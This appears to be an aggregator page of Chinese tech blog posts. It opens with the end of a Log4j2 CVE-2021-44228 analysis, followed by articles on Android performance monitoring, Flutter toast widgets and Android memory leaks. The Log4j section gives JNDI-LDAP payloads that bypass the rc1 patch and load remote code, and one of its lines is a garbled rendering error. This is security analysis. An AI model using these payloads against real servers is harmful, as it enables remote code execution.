可以很清楚的看到 增加了三个静态内部类,每个内部类都继承自MessagePatternConverter,且都实现了自己的format方法。之前执行链上的MessagePatternConverter.format()方法则变成了下面这样

pic_fe3e7fff.png

在rc1这个版本中Log4j2在初始化的时候创建的Converter也变了,

pic_81292a90.png

整理一下,可以看的更清晰一些

DatePatternConverter
SimpleLiteralPatternConverter$StringValue
ThreadNamePatternConverter
LevelPatternConverter$SimpleLevelPatternConverter
LoggerPatternConverter
MessagePatternConverter$SimpleMessagePatternConverter
LineSeparatorPatternConverter
ExtendedThrowablePatternConverter

之前的MessagePatternConverter,变成了现在的MessagePatternConverter$SimpleMessagePatternConverter,那么这个SimpleMessagePatternConverter的方法究竟是怎么实现的,如下所示

pic_f57ea3ad.png

可以看到并没有对传入的数据的“KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …的点就没有了么?当然不是,对“{}”的处理,开发者将其转移到了LookupMessagePatternConverter.format()方法中,如下所示

pic_e424c988.png

问题来了,如何才能让log4j2在初始化的时候就实例化LookupMessagePatternConverter从而能让程序在后续的执行过程中调用它的format方法呢?

其实很简单,但这也是我说这个绕过“一言难尽”的一个点,就是要修改配置文件,修改成如下所示在“%msg”的后面添加一个“{lookups}”,我相信一般情况下应该没有那个开发者会这么改配置文件玩,除非他真的需要log4j2提供的jndi lookup功能,修改后的配置文件如下所示



 
     
         
     
 
 
     
         
     
 

这样一来就可以触发LookupMessagePatternConverter.format()方法了,但是单单只改配置,还是不行,因为JndiManager.lookup方法也进行了修改,增加了白名单校验,这就意味着我们还要修改payload来绕过这么一个校验,校验点代码如下所示

pic_aa23e755.png

当判断以ldap开头的时候,就回去判断请求的host,也就是请求的地址,白名单内容如下所示

pic_d138eeeb.png

可以看到白名单里要么是本机地址,要么是内网地址,fe80开头的ipv6地址也是内网地址,看似想要绕过有些困难,因为都是内网地址,没法请求放在公网的ldap服务,不过不用着急,继续往下看。

使用marshalsec开启ldap服务后,先将payload修改成下面这样

${jndi:ldap://127.0.0.1:8088/ExportObject}

如此一来就可以绕过第一道校验,过了这个host校验后,还有一个校验,在JndiManager.lookup方法中,会将请求ldap服务后 ldap返回的信息以map的形式存储,如下所示

pic_b9989af6.png

这里要求javaFactory为空,否则就会返回"Referenceable class is not allowed for xxxxxx"的错误,想要绕过这一点其实也很简单,在JndiManager.lookup方法中有一个非常非常离谱的错误,就是在捕获异常后没有进行返回,甚至没有进行任何操作,我看不懂,但我大为震撼。这样导致了程序还会继续向下执行,从而走到最后的this.context.lookup()这一步 ,如下所示

pic_83144ad8.png

也就是说只要让lookup方法在执行的时候抛个异常就可以了,将payload修改成以下的形式

${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}

在url中“/”后加上一个空格,就会导致lookup方法中一开始实例化URI对象的时候报错,这样不仅可以绕过第二道校验,连第一个针对host的校验也可以绕过,从而再次造成RCE。在rc2中,catch错误之后,return null,也就走不到lookup方法里了。

0x07 修复&临时建议

在最新的修复https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea中,在初始化插值器时新增了检查jndi协议是否启用的判断,并且默认禁用了jndi协议的使用。

pic_696b7067.png

pic_fa5ec99a.png

修复建议:

升级Apache Log4j2所有相关应用到最新版。

升级JDK版本,建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本。但仍有绕过Java本身对Jndi远程加载类安全限制的风险。

临时建议:

jvm中添加参数 -Dlog4j2.formatMsgNoLookups=true (版本>=2.10.0)

新建log4j2.component.properties文件,其中加上配置log4j2.formatMsgNoLookups=true (版本>=2.10.0)

设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0)

对于log4j2 < 2.10以下的版本,可以通过移除JndiLookup类的方式。

0x08 时间线

2021年11月24日:阿里云安全团队向Apache 官方提交ApacheLog4j2远程代码执行漏洞(CVE-2021-44228)

2021年12月8日:Apache Log4j2官方发布安全更新log4j2-2.15.0-rc1,

2021年12月9日:天融信阿尔法实验室晚间监测到poc大量传播并被利用攻击

2021年12月10日:天融信阿尔法实验室于10日凌晨发布Apache Log4j2 远程代码执行漏洞预警,并于当日发布Apache Log4j2 漏洞处置方案

2021年12月10日:同一天内,网络传出log4j2-2.15.0-rc1安全更新被绕过,天融信阿尔法实验室第一时间进行验证,发现绕过存在,并将处置方案内的升级方案修改为log4j2-2.15.0-rc2

2021年12月15日:天融信阿尔法实验室对该漏洞进行了深入分析并更新修复建议。

0x09 总结

log4j2这次漏洞的影响是核弹级的,堪称web漏洞届的永恒之蓝,因为作为一个日志系统,有太多的开发者使用,也有太多的开源项目将其作为默认日志系统。所以可以见到,在未来的几年内,Apache log4j2 很可能会接替Shiro的位置,作为护网的主要突破点。

该漏洞的原理并不复杂,甚至如果认真读了官方文档可能就可以发现这个漏洞,因为这次的漏洞究其原理就是log4j2所提供的正常功能,但是不管是log4j2的开发者也好,还是使用log4j2进行开发的开发者也好,他们都犯了一个致命的错误,就是相信了用户的输入。

永远不要相信用户的输入,想必这是每一个开发人员都听过的一句话,可惜,真正能做到的人太少了。对于开源软件的生态安全,也需要相关企业和组织加以关注和共同建设,安全之路任重而道远。
作者:kali_Ma
来源:https://blog.csdn.net/kali_Ma/article/details/122178627

收起阅读 »

不会 Android 性能优化?你还差一个开源库!

简介开源库的地址是:幸苦各位能给个小小的 star 鼓励下。UI 线程 block 检测。App 的 FPS 检测。线程的创建和启动监控以及线程池的创建监控。IPC (进程间通讯)监控。实时通过 logcat 打印检测到的问题。保存检测到的信息到文件。提供上报...
继续阅读 »

简介

由于本人工作需要,需要解决一些性能问题,虽然有 ProfilerSystrace 等工具,但是无法实时监控,多少有些不方便,于是计划写一个能实时监控性能的小工具。经过学习大佬们的文章,最终完成了这个开源的性能实时检测库。初步能达到预期效果,这里做个记录,算是小结了。

开源库的地址是:

github.com/XanderWang/…

幸苦各位能给个小小的 star 鼓励下。

这个性能检测库,可以检测以下问题:

  • UI 线程 block 检测。

  • App 的 FPS 检测。

  • 线程的创建和启动监控以及线程池的创建监控。

  • IPC (进程间通讯)监控。

同时还实现了以下功能:

  • 实时通过 logcat 打印检测到的问题。

  • 保存检测到的信息到文件。

  • 提供上报信息文件接口。

接入指南

1 在 APP 工程目录下面的 build.gradle 添加如下内容。

dependencies {
 // 基础依赖,必须添加
 debugImplementation 'io.github.xanderwang:performance:0.3.1'
 releaseImplementation 'io.github.xanderwang:performance-noop:0.3.1'

 // hook 方案封装,必须添加
 debugImplementation 'io.github.xanderwang:hook:0.3.1'

 // 以下是 hook 方案选择一个就好了。如果运行报错,就换另外一个,如果还是报错,就提个 issue
 // SandHook 方案,推荐添加。如果运行报错,可以替换为 epic 库。
 debugImplementation 'io.github.xanderwang:hook-sandhook:0.3.1'

 // epic 方法。如果运行报错,可以替换为 SandHook。
 // debugImplementation 'io.github.xanderwang:hook-epic:0.3.1'
}

2 APP 工程的 Application 类新增类似如下初始化代码。

Java 初始化示例

  private void initPERF(final Context context) {
   final PERF.LogFileUploader logFileUploader = new PERF.LogFileUploader() {
     @Override
     public boolean upload(File logFile) {
       return false;
    }
  };
   PERF.init(new PERF.Builder()
      .checkUI(true, 100) // 检查 ui lock
      .checkIPC(true) // 检查 ipc 调用
      .checkFps(true, 1000) // 检查 fps
      .checkThread(true) // 检查线程和线程池
      .globalTag("test_perf") // 全局 logcat tag ,方便过滤
      .cacheDirSupplier(new PERF.IssueSupplier<File>() {
         @Override
         public File get() {
           // issue 文件保存目录
           return context.getCacheDir();
        }
      })
      .maxCacheSizeSupplier(new PERF.IssueSupplier<Integer>() {
         @Override
         public Integer get() {
           // issue 文件最大占用存储空间
           return 10 * 1024 * 1024;
        }
      })
      .uploaderSupplier(new PERF.IssueSupplier<PERF.LogFileUploader>() {
         @Override
         public PERF.LogFileUploader get() {
           // issue 文件上传接口
           return logFileUploader;
        }
      })
      .build());
}

kotlin 示例

  private fun doUpload(log: File): Boolean {
   return false
}

 private fun initPERF(context: Context) {
   PERF.init(PERF.Builder()
      .checkUI(true, 100)// 检查 ui lock
      .checkIPC(true) // 检查 ipc 调用
      .checkFps(true, 1000) // 检查 fps
      .checkThread(true)// 检查线程和线程池
      .globalTag("test_perf")// 全局 logcat tag ,方便过滤
      .cacheDirSupplier { context.cacheDir } // issue 文件保存目录
      .maxCacheSizeSupplier { 10 * 1024 * 1024 } // issue 文件最大占用存储空间
      .uploaderSupplier { // issue 文件的上传接口实现
         PERF.LogFileUploader { logFile -> doUpload(logFile) }
      }
      .build()
  )
}

主要更新记录

  • 0.3.1 新增给 ImageView 设置比实际控件尺寸大的图片检测

  • 0.3.0 修改依赖库发布方式为 MavenCentral

  • 0.2.0 线程耗时的监控,同时可以监控线程优先级(setPriority)的改变。

  • 0.1.12 线程创建的监控,加入 thread name 信息收集。同时接入 startup 库做必要的初始化,以及调整 multi dex 的时候,配置文件找不到的问题。

  • 0.1.11 优化 hook 方案的封装,通过 SandHook 开源库,可以按照 IPC 的耗时时间长短来检测。

  • 0.1.10 FPS 的检测时间间隔从默认 2s 调整为 1s,同时支持自定义时间间隔。

  • 0.1.9 优化线程池创建的监控。

  • 0.1.8 初版发布,完成基本的功能。

不建议直接在线上使用这个库,在编写这个库,测试 hook 的时候,在不同的机器和 rom 上,会有不同的问题,这里建议先只在线下自测使用这个检测库。

原理介绍

UI 线程 block 检测原理

主要参考了 AndroidPerformanceMonitor 库的思路,对 UI 线程的 Looper 里面处理 Message 的过程进行监控。

具体做法是,在 Looper 开始处理 Message 前,在异步线程开启一个延时任务,用于后续收集信息。如果这个 Message 在指定的时间段内完成了处理,那么在这个 Message 被处理完后,就取消之前的延时任务,说明 UI 线程没有 block 。如果在指定的时间段内没有完成任务,说明 UI 线程有 block 。此时,异步线程可以执行刚才的延时任务。如果我们在这个延时任务里面打印 UI 线程的方法调用栈,就可以知道 UI 线程在做什么了。这个就是 UI 线程 block 检测的基本原理。

但是这个方案有一个缺点,就是无法处理 InputManager 的输入事件,比如 TV 端的遥控按键事件。通过对按键事件的调用方法链进行分析,发现最终每个按键事件都调用了 DecorView 类的 dispatchKeyEvent 方法,而非 Looper 的处理 Message 流程。所以 AndroidPerformanceMonitor 库是无法准确监控 TV 端应用 UI block 的情况。针对 TV 端应用按键处理,需要找到一个新的切入点,这个切入点就是刚刚的 DecorView 类的 dispatchKeyEvent 方法。

那如何介入 DecorView 类的 dispatchKeyEvent 方法呢?我们可以通过 epic 库来 hook 这个方法的调用。hook 成功后,我们可以在 DecorView 类的 dispatchKeyEvent 方法调用前后都接收到一个回调方法,在 dispatchKeyEvent 方法调用前我们可以在异步线程执行一个延时任务,在 dispatchKeyEvent 方法调用后,取消这个延时任务。如果 dispatchKeyEvent 方法耗时时间小于指定的时间阈值,延时任务在执行前被取消,可以认为没有 block ,此时移除了延时任务。如果 dispatchKeyEvent 方法耗时时间大于指定的时间阈值说明此时 UI 线程是有 block 的。此时,异步线程可以执行这个延时任务来收集必要的信息。

以上就是修改后的 UI 线程 block 的检测原理了,目前做的还比较粗糙,后续计划考虑参考 AndroidPerformanceMonitor 打印 CPU 、内存等更多的信息。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_Issue: =================================================
  type: UI BLOCK
  msg: UI BLOCK
  create time: 2021-01-13 11:24:41
  trace:
  java.lang.Thread.sleep(Thread.java:-2)
  java.lang.Thread.sleep(Thread.java:442)
  java.lang.Thread.sleep(Thread.java:358)
  com.xander.performance.demo.MainActivity.testANR(MainActivity.kt:49)
  java.lang.reflect.Method.invoke(Method.java:-2)
  androidx.appcompat.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:397)
  android.view.View.performClick(View.java:7496)
  android.view.View.performClickInternal(View.java:7473)
  android.view.View.access$3600(View.java:831)
  android.view.View$PerformClick.run(View.java:28641)
  android.os.Handler.handleCallback(Handler.java:938)
  android.os.Handler.dispatchMessage(Handler.java:99)
  android.os.Looper.loop(Looper.java:236)
  android.app.ActivityThread.main(ActivityThread.java:7876)
  java.lang.reflect.Method.invoke(Method.java:-2)
  com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:656)
  com.android.internal.os.ZygoteInit.main(ZygoteInit.java:967)

FPS 检测的原理

FPS 检测的原理,利用了 Android 的屏幕绘制原理。这里简单说下 Android 的屏幕绘制原理。

系统每隔 16 ms 就会发送一个 VSync 信号。 如果应用注册了这个 VSync 信号,就会在 VSync 信号到来的时候,收到回调,从而开始准备绘制。如果准备顺利,也就是 CPU 准备数据、GPU 栅格化等,如果这些任务在 16 ms 之内完成,那么下一个 VSync 信号到来前就可以绘制这一帧界面了。就没有掉帧,界面很流畅。如果在 16 ms 内没准备好,可能就需要更多的时间这个画面才能显示出来,在这种情况下就发生了丢帧,如果丢帧很多就卡顿了。

检测 FPS 的原理其实挺简单的,就是通过一段时间内,比如 1s,统计绘制了多少个画面,就可以计算出 FPS 了。那如何知道应用 1s 内绘制了多少个界面呢?这个就要靠 VSync 信号监听了。

在开始准备绘制前,往 UI 线程的 MessageQueue 里面放一个同步屏障,这样 UI 线程就只会处理异步消息,直到同步屏障被移除。刷新前,应用会注册一个 VSync 信号监听,当 VSync 信号到达的时候,系统会通知应用,让应用会给 UI 线程的 MessageQueue 里面放一个异步 Message *。由于之前 MessageQueue 里有了一个*同步屏障,所以后续 UI 线程会优先处理这个异步 Message 。这个异步 Message 做的事情就是从 ViewRootImpl 开始我们熟悉的 measurelayoutdraw

我们可以通过 Choreographer 注册 VSync 信号监听。16ms 后,我们收到了 VSync 的信号,给 MessageQueue 里面放一个同步消息,我们不做特别处理,只是做一个计数,然后监听下一次的 VSync 信号,这样,我们就可以知道 1s 内我们监听到了多少个 VSync 信号,就可以得出帧率。

为什么监听到的 VSync 信号数量就是帧率呢?

由于 Looper 处理 Message 是串行的,就是一次只处理一个 Message ,处理完了这个 Message 才会处理下一个 Message 。而绘制的时候,绘制任务 Message 是异步消息,会优先执行,绘制任务 Message 执行完成后,就会执行上面说的 VSync 信号计数的任务。如果忽略计数任务的耗时,那么最后统计到的 VSync 信号数量可以粗略认为是某段时间内绘制的帧数。然后就可以通过这段时间的长度和 VSync 信号数量来计算帧率了。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_FPSTool: APP FPS is: 54 Hz
com.xander.performace.demo W/demo_FPSTool: APP FPS is: 60 Hz
com.xander.performace.demo W/demo_FPSTool: APP FPS is: 60 Hz

线程的创建和启动监控以及线程池的创建监控

线程和线程池的监控,主要是监控线程和线程池在哪里创建和执行的,如果我们可以知道这些信息,我们就可以比较清楚线程和线程池的创建和启动时机是否合理。从而得出优化方案。

一个比较容易想到的方法就是,应用代码里面的所有线程和线程池继承同一个线程基类和线程池基类。然后在构造函数和启动函数里面打印方法调用栈,这样我们就知道哪里创建和执行了线程或者线程池。

让应用所有的线程和线程池继承同一个基类,可以通过编译插件来实现,定制一个特殊的 Transform ,通过 ASM 编辑生成的字节码来改变继承关系。但是,这个方法有一定的上手难度,不太适合新手。

除了这个方法,我们还有另外一种方法,就是 hook 。通过 hook 线程或者线程池的构造方法和启动方法,我们就可以在线程或者线程池的构造方法和启动方法的前后做一些切片处理,比如打印当前方法调用栈等。这个也就是线程和线程池监控的基本原理。

线程池的监控没有太大难度,一般都是 ThreadPoolExecutor 的子类,所以我们 hook 一下 ThreadPoolExecutor 的构造方法就可以监控线程池的创建了。线程池的执行主要就是 hookThreadPoolExecutor 类的 execute 方法。

线程的创建和执行的监控方法就稍微要费些脑筋了,因为线程池里面会创建线程,所以这个线程的创建和执行应该和线程池绑定的。需要找到线程和线程池的联系,之前看到一个库,好像是通过线程和线程池的 ThreadGroup 来建立关联的,本来我也计划按照这个关系来写代码的,但是我发现,我们有的小伙伴写的线程池的 ThreadFactory 里面创建线程并没有传入ThreadGroup ,这个就尴尬了,就建立不了联系了。经过查阅相关源码发现了一个关键的类,ThreadPoolExecutor 的内部类Worker ,由于这个类是内部类,所以这个类实际的构造方法里面会传入一个外部类的实例,也就是 ThreadPoolExecutor 实例。同时, Worker 这个类还是一个 Runnable 实现,在 Worker 类通过 ThreadFactory 创建线程的时候,会把自己作为一个 Runnable 传给 Thread 所以,我们通过这个关系,就可以知道 WorkerThread 的关联了。这样,我们通过 ThreadPoolExecutorWorker 的关联,以及 WorkerThread 的关联,就可以得到 ThreadPoolExecutor 和它创建的 Thread 的关联了。这个也就是线程和线程池的监控原理了。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_Issue: =================================================
  type: THREAD
  msg: THREAD POOL CREATE
  create time: 2021-01-13 11:23:47
  create trace:
  com.xander.performance.StackTraceUtils.list(StackTraceUtils.java:39)
  com.xander.performance.ThreadTool$ThreadPoolExecutorConstructorHook.afterHookedMethod(ThreadTool.java:158)
  de.robv.android.xposed.DexposedBridge.handleHookedArtMethod(DexposedBridge.java:265)
  me.weishu.epic.art.entry.Entry64.onHookObject(Entry64.java:64)
  me.weishu.epic.art.entry.Entry64.referenceBridge(Entry64.java:239)
  java.util.concurrent.Executors.newSingleThreadExecutor(Executors.java:179)
  com.xander.performance.demo.MainActivity.testThreadPool(MainActivity.kt:38)
  java.lang.reflect.Method.invoke(Method.java:-2)
  androidx.appcompat.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:397)
  android.view.View.performClick(View.java:7496)
  android.view.View.performClickInternal(View.java:7473)
  android.view.View.access$3600(View.java:831)
  android.view.View$PerformClick.run(View.java:28641)
  android.os.Handler.handleCallback(Handler.java:938)
  android.os.Handler.dispatchMessage(Handler.java:99)
  android.os.Looper.loop(Looper.java:236)
  android.app.ActivityThread.main(ActivityThread.java:7876)
  java.lang.reflect.Method.invoke(Method.java:-2)
  com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:656)
  com.android.internal.os.ZygoteInit.main(ZygoteInit.java:967)

IPC(进程间通讯)监控的原理

进程间通讯的具体原理,也就是 Binder 机制,这里不做详细的说明,也不是这个框架库的原理。

检测进程间通讯的方法和前面检测线程的方法类似,就是找到所有的进程间通讯的方法的共同点,然后对共同点做一些修改或者说切片,让应用在进行进程间通讯的时候,打印一下调用栈,然后继续做原来的事情。就达到了 IPC 监控的目的。

那如何找到共同点,或者说切片,就是本节的重点。

进程间通讯离不开 Binder ,需要从 Binder 入手。

写一个 AIDL demo 后发现,自动生成的代码里面,接口 A 继承自 IInterface 接口,然后接口里面有个内部抽象类 Stub 类,继承自 Binder ,同时实现了接口 A 。这个 Stub 类里面还有一个内部类 Proxy ,实现了接口 A ,并持有一个 IBinder 实例。

我们在使用 AIDL 的时候,会用到 Stub 类的 asInterFace 的方法,这个方法会新建一个 Proxy 实例,并给这个 Proxy 实例传入 IBinder , 或者如果传入的 IBinder 实例如果是接口 A 的话,就强制转化为接口 A 实例。一般而言,这个 IBinder 实例是 ServiceConnection 的回调方法里面的实例,是 BinderProxy 的实例。所以 Stub 类的 asInterFace 一般会创建一个 Proxy 实例,查看这个 Proxy 接口的实现方法,发现最终都会调用 BinderProxytransact 方法,所以 BinderProxytransact 方法是一个很好的切入点。

本来我也是计划通过 hookBinderProxy 类的 transact 方法来做 IPC 的检测的。但是 epic 库在 hook 含有 Parcel 类型参数的方法的时候,不稳定,会有异常。由于暂时还没能力解决这个异常,只能重新找切入点。最后发现 AIDL demo 生成的代码里面,除了调用了 调用 BinderProxytransact 方法外,还调用了 ParcelreadException 方法,于是决定 hook 这个方法来切入 IPC 调用流程,从而达到 IPC 监控的目的。

最终终端 log 打印效果如下:

com.xander.performace.demo W/demo_Issue: =================================================
  type: IPC
  msg: IPC
  create time: 2021-01-13 11:25:04
  trace:
  com.xander.performance.StackTraceUtils.list(StackTraceUtils.java:39)
  com.xander.performance.IPCTool$ParcelReadExceptionHook.beforeHookedMethod(IPCTool.java:96)
  de.robv.android.xposed.DexposedBridge.handleHookedArtMethod(DexposedBridge.java:229)
  me.weishu.epic.art.entry.Entry64.onHookVoid(Entry64.java:68)
  me.weishu.epic.art.entry.Entry64.referenceBridge(Entry64.java:220)
  me.weishu.epic.art.entry.Entry64.voidBridge(Entry64.java:82)
  android.app.IActivityManager$Stub$Proxy.getRunningAppProcesses(IActivityManager.java:7285)
  android.app.ActivityManager.getRunningAppProcesses(ActivityManager.java:3684)
  com.xander.performance.demo.MainActivity.testIPC(MainActivity.kt:55)
  java.lang.reflect.Method.invoke(Method.java:-2)
  androidx.appcompat.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:397)
  android.view.View.performClick(View.java:7496)
  android.view.View.performClickInternal(View.java:7473)
  android.view.View.access$3600(View.java:831)
  android.view.View$PerformClick.run(View.java:28641)
  android.os.Handler.handleCallback(Handler.java:938)
  android.os.Handler.dispatchMessage(Handler.java:99)
  android.os.Looper.loop(Looper.java:236)
  android.app.ActivityThread.main(ActivityThread.java:7876)
  java.lang.reflect.Method.invoke(Method.java:-2)
  com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:656)
  com.android.internal.os.ZygoteInit.main(ZygoteInit.java:967)

作者:xanderwang
来源:https://juejin.cn/post/6916531888576266254

收起阅读 »

丢掉丑陋的 toast,会动的 toast 更有趣!

前言我们通常会用 toast(也叫吐司)来显示提示信息,例如网络请求错误,校验错误等等。大多数 App的 toast 都很简单,简单的半透明黑底加上白色文字草草了事,比如下面这种. 说实话,这种toast 的体验很糟糕。假设是新手用户,他们并不知道 toas...
继续阅读 »



前言

我们通常会用 toast(也叫吐司)来显示提示信息,例如网络请求错误,校验错误等等。大多数 App的 toast 都很简单,简单的半透明黑底加上白色文字草草了事,比如下面这种.

说实话,这种toast 的体验很糟糕。假设是新手用户,他们并不知道 toast 从哪里出来,等出现错误的时候,闪现出来的时候,可能还没抓住内容的重点就消失了(尤其是想截屏抓错误的时候,更抓狂)。这是因为一个是这种 toast 一般比较小,而是动效非常简单,用来提醒其实并不是特别好。怎么破?本篇来给大家介绍一个非常有趣的 toast 组件 —— motion_toast

motion_toast 介绍

从名字就知道,motion_toast 是支持动效的,除此之外,它的颜值还很高,下面是它的一个示例动图,仔细看那个小闹钟图标,是在跳动的哦。这种提醒效果比起常用的 toast 来说醒目多了,也更有趣味性。 下面我们看看 motion_toast 的特性:

  • 可以通过动画图标实现动效;

  • 内置了成功、警告、错误、提醒和删除类型;

  • 支持自定义;

  • 支持不同的主题色;

  • 支持 null safety;

  • 心跳动画效果;

  • 完全自定义的文本内容;

  • 内置动画效果;

  • 支持自定义布局(LTR 和 RTL);

  • 自定义持续时长;

  • 自定义展现位置(居中,底部或顶部);

  • 支持长文本显示;

  • 自定义背景样式;

  • 自定义消失形式。

可以看到,除了能够开箱即用之外,我们还可以通过自定义来丰富 toast 的样式,使之更有趣。

示例

介绍完了,我们来一些典型的示例吧,首先在 pubspec.yaml 中添加依赖motion_toast: ^2.0.0(最低Dart版本需要2.12)。

最简单用法

只需要一行代码搞定!其他参数在 success 的命名构造方法中默认了,因此使用非常简单。

MotionToast.success(description: '操作成功!').show(context);

其他内置的提醒

内置的提醒也支持我们修改默认参数进行样式调整,如标题、位置、宽度、显示位置、动画曲线等等。

// 错误提示
MotionToast.error(
 description: '发生错误!',
 width: 300,
 position: MOTION_TOAST_POSITION.center,
).show(context);

//删除提示
MotionToast.delete(
 description: '已成功删除',
 position: MOTION_TOAST_POSITION.bottom,
 animationType: ANIMATION.fromLeft,
 animationCurve: Curves.bounceIn,
).show(context);

// 信息提醒(带标题)
MotionToast.info(
 description: '这是一条提醒,可能会有很多行。toast 会自动调整高度显示',
 title: '提醒',
 titleStyle: TextStyle(fontWeight: FontWeight.bold),
 position: MOTION_TOAST_POSITION.bottom,
 animationType: ANIMATION.fromBottom,
 animationCurve: Curves.linear,
 dismissable: true,
).show(context);

不过需要注意的是,一个是 dismissable 参数只对显示位置在底部的有用,当在底部且dismissabletrue 时,点击空白处可以让 toast 提前消失。另外就是显示位置 positionanimationType 是存在某些互斥关系的。从源码可以看到底部显示的时候,animationType不能是 fromTop,顶部显示的时候 animationType 不能是 fromBottom

void _assertValidValues() {
 assert(
  (position == MOTION_TOAST_POSITION.bottom &&
           animationType != ANIMATION.fromTop) ||
      (position == MOTION_TOAST_POSITION.top &&
           animationType != ANIMATION.fromBottom) ||
      (position == MOTION_TOAST_POSITION.center),
);
}

自定义 toast

自定义其实就是使用 MotionToast 构建一个实例,其中,descriptioniconprimaryColor参数是必传的。自定义的参数很多,使用的时候建议看一下源码注释。

MotionToast(
 description: '这是自定义 toast',
 icon: Icons.flag,
 primaryColor: Colors.blue,
 secondaryColor: Colors.green[300],
 descriptionStyle: TextStyle(
   color: Colors.white,
),
 position: MOTION_TOAST_POSITION.center,
 animationType: ANIMATION.fromRight,
 animationCurve: Curves.easeIn,
).show(context);

下面对自定义的一些参数做一下解释:

  • icon:图标,IconData 类,可以使用系统字体图标;

  • primaryColor:主颜色,也就是大的背景底色;

  • secondaryColor:辅助色,也就是图标和旁边的竖条的颜色;

  • descriptionStyle:toast 文字的字体样式;

  • title:标题文字;

  • titleStyle:标题文字样式;

  • toastDuration:显示时长;

  • backgroundType:背景类型,枚举值,共三个可选值,transparentsolidlighter,默认是 lighterlighter其实就是加了一层白色底色,然后再将原先的背景色(主色调)加上一定的透明度叠加到上面,所以看起来会泛白。

  • onClose:关闭时回调,可以用于出现多个错误时依次展示,或者是关闭后触发某些动作,如返回上一页。

总结

看完之后,是不是觉得以前的 toast 太丑了?用 motion_toast来一个更有趣的吧。另外,整个 motion_toast 的源码并不多,有兴趣的可以读读源码,了解一下toast 的实现也是不错的。

作者:岛上码农
来源:https://juejin.cn/post/7042301322376265742

收起阅读 »

Android 常见内存泄漏总结、避免踩坑、提供解决方案

对常见的内存泄漏进行一波总结,希望可以帮到大家。静态实例持有非静态内部类描述🤦♀️非静态内部类会持有外部类的实例,所以如果非静态内部类的实例是静态的话,那么它的生命周期就是整个APP的生命周期,而它则会一直持有外部类的引用,阻止外部类实例被系统回收。举个例子🌰...
继续阅读 »



对常见的内存泄漏进行一波总结,希望可以帮到大家。

静态实例持有非静态内部类

描述🤦♀️

非静态内部类会持有外部类的实例,所以如果非静态内部类的实例是静态的话,那么它的生命周期就是整个APP的生命周期,而它则会一直持有外部类的引用,阻止外部类实例被系统回收。

举个例子🌰:

public class TestActivity extends AppCompatActivity {

   static InnerClass innerClass;

   @Override
   protected void onCreate(@Nullable Bundle savedInstanceState) {

       super.onCreate(savedInstanceState);
       setContentView(R.layout.item_layout);
       findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {

           @Override
           public void onClick(View v) {
               innerClass = new InnerClass();
          }
      });
  }

   class InnerClass{
 
    }
}

此时点击button时,会创建InnerClass实例并且赋值给innerClass。因为innerClassstatic修饰,所以InnerClass实例的生命周期会和应用程序一样长,但是它会持有TestActivity的实例,所以就会导致如果系统需要回收不了TestActivity的实例。造成内存泄漏😮。

解决办法🙆♀️

  • 将非静态内部类替换成静态内部类,因为静态内部类不会持有外部类的引用

  • 一定要用非静态内部类的话,要保证内部类的生命周期短于外部类

耗时任务相关的匿名内部类/非静态内部类

描述🤦♀️

这个和上一个类似,非静态内部类持有外部类的实例大家都知道了,这里不在叙述了;匿名内部类也会持有外部类的实例,而且匿名内部类会结合线程使用得多,这里就拉出来讲一下。

同理因为匿名内部类会持有外部类的实例,比如线程的Runable如果在里面做了耗时任务,在外部类对象需要回收的时候,但是线程任务没有执行完,那么就会因为匿名内部类持有外部类的引用,进而阻止系统回收外部类对象了。

简单举个例子

public class TestActivity extends AppCompatActivity {

   @Override
   protected void onCreate(@Nullable Bundle savedInstanceState) {

       super.onCreate(savedInstanceState);
       setContentView(R.layout.item_layout);
       findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {

           @Override
           public void onClick(View v) {
               ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor(0, Integer.MAX_VALUE, 60, TimeUnit.MICROSECONDS, new SynchronousQueue(), new ThreadFactory() {
                   @Override
                   public Thread newThread(Runnable r) {
                       return new Thread(new ThreadGroup("test-thread"),r);
                  }
              });
               threadPoolExecutor.submit(new Runnable() {
                   @Override
                   public void run() {
                       while (true){
                           Log.d("TAG", "run: test");
                      }
                  }
              });
          }
      });
  }
}

点击button执行线程任务,提交了一个runable进去,因为里面死循环永远不会结束。所以匿名内部类会一直持有TestActivitty对象。不会被系统回收掉😮。因为匿名内部类这玩意进场使用,所以还是需要注意的!!!🤦♀️

解决方案🙆♀️

  • 将匿名内部类/非静态内部类替换成静态内部类,因为静态内部类不会持有外部类的引用

  • 一定要用匿名内部类/非静态内部类的话,要保证内部类的生命周期短于外部类

Handle内存泄漏

描述🤦♀️

这个就有点老生常谈了😂,但还是的说一下。

Handler发送的Message会存储在MessageQueue里面,但是他们不一定马上就被处理了。

另外我们知道Message的Target会持有记录当前的Handler对象,用于进行消息分发。所以如果Message不被及时处理,那么Handler就无法被回收。

那么如果此时Handler是非静态的,则Handler也会导致引用它的Activity不能被回收😮。

举个例子🌰

public class TestActivity extends AppCompatActivity {

   @Override
   protected void onCreate(@Nullable Bundle savedInstanceState) {

       super.onCreate(savedInstanceState);
       setContentView(R.layout.item_layout);
       Handler mHandler = new Handler(){

           @Override
           public void handleMessage(Message msg) {
               super.handleMessage(msg);
          }
      };
       findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {

           @Override
           public void onClick(View v) {
   
               mHandler.sendMessageDelayed(new Message(),100000);
               finish();
          }
      });
  }
}

当点击button时,会finish当前activity。但是因为消息没有被及时处理,间接引用了Handler对象,Handler又是匿名内部类实例,持有了activity对象。所以导致内存泄漏🤦♀️。

解决方案🙆♀️

  • 使用静态Handler内部类,handler的持有者用弱引用。

